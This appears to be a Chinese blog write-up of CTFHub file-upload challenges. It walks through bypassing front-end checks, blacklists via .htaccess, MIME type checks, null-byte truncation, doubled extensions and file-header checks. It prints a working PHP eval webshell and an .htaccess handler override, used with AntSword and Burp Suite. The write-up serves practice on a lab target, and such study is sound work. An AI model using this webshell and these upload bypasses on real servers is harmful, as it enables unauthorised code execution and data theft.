CTFHub |文件上传 (无验证, 前端验证, .haccess绕过, MIME绕过, 00截断, 双写后缀, 文件头检查)

CTFHub | 文件上传

  • 无验证

  1. 使用工具:中国剑蚁(D:\AntSword_Loader\AntSword-Loader-v4.0.3-win32-x64\AntSword.exe)

在下载这个工具的时候,浏览器拦截说有病毒。使用git clone下载。十分丝滑。

  1. 先上传文件a.php
<?php
@eval($_POST['hack']);
?>

页面回显文件被放在:/load/a.php中

  1. 打开中国剑蚁,右键添加数据,输入url(http://xxx.com/load/a.php), 输入‘连接密码’:hack, 点击添加。
  2. 打开数据条,遍历目录,发现flag文件。
  • 前端验证

  1. 查看网页源代码,发现js有对文件类型的验证。限制只能上传 .jpg .png .gif的文件。
  2. 对a.php改名:a.jpg,成功添加进文件。
  3. burpsuite抓包,修改filename为a.php,为了服务器那边能够以.php的形式运行它。
  4. 利用剑蚁工具,步骤同<无验证>这一题。
  5. 总结:先顺着js验证在前端上传文件,然后在赶在后端处理之前修改回去。
  • .haccess绕过

  1. 查看网页源代码,发现blacklist, 于是明白是.haccess绕过题, 先上传一个.haccess文件到服务器后端,配置成可以通过无后缀文件。
<FilesMatch "filename">
SetHandler application/x-httpd-php
</FilesMatch>
  1. 再按照<无验证>这一题的方法上传a.php文件。
  2. 迷惑? 这一题我第一次做的时候.haccess写错了,标签名字写成了FileMatch, 后续步骤一样,也能得到网页文件,但只有一个,且只有一行,写着错误的flag。奇怪。
  • MIME绕过

  1. 先上传文件a.php
  2. burpsuite抓包拦截,改Content-Type字段。
将:
Content-Type: application/octet-stream     # 告知以流文件形式下载文件,只知道这是二进制文件。
改成:
Content-Type: image/gif

注意:

这里有两个Content-Type字段,第一个用来限定文件显示范围的,第二个才是限定文件类型。

  1. <无验证>套路
  • 00 截断

php5.2 00截断上传的原理

文件上传绕过之00截断_00截断绕过-CSDN博客

  1. 迷惑?为什么直接在上传文件命名为a.php%00.gif提交后,页面提示上传成功,但是实际上没有?而且路径也变成/htm/upload/,这个路径十分奇怪啊。
  2. 解决办法:burpsuite抓包,改第一行路径,加上a.php%00.gif
  • 双写后缀

  1. 过滤策略:将白名单上的后缀替换为空。
  2. 构造特殊的文件名,如a.pasahp, 这样的话,经过替换,最终得到的文件是a.php。

这里很奇特的一点:我尝试构造a.phpphp,上传后的文件是a. 也就是说,两个php都被替换为空了。猜测这个str_ireplace()函数应该是设置一个指针,遍历整个字符串,边遍历便查找,一经找到就删除,继续往后查找,而不是找到第一个就删除并返回。

  1. 下同<无验证>
  • 文件头检查

  1. 第一种方法:按理来说应该也可以,上传也成功,但是出现不解的问题。

    1. 先提交一个.png文件(不宜太大,大了上传不了),burpsuite抓包,然后修改文件名为a.php,在文件内容里面(文件末尾)添加一句话木马。
    <?php @eval($_POST['hack']); ?>
    

    b. <无验证>

    c. 出现问题:剑蚁连接得上,但是返回{}空。

  2. 第二种方法:Winhex打开a.php文件。复制89504E47, 在文件开头>编辑>剪贴板数据>粘贴>ASCII Hex, 保存退出。直接上传a.php文件。<无验证>

  • 8
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值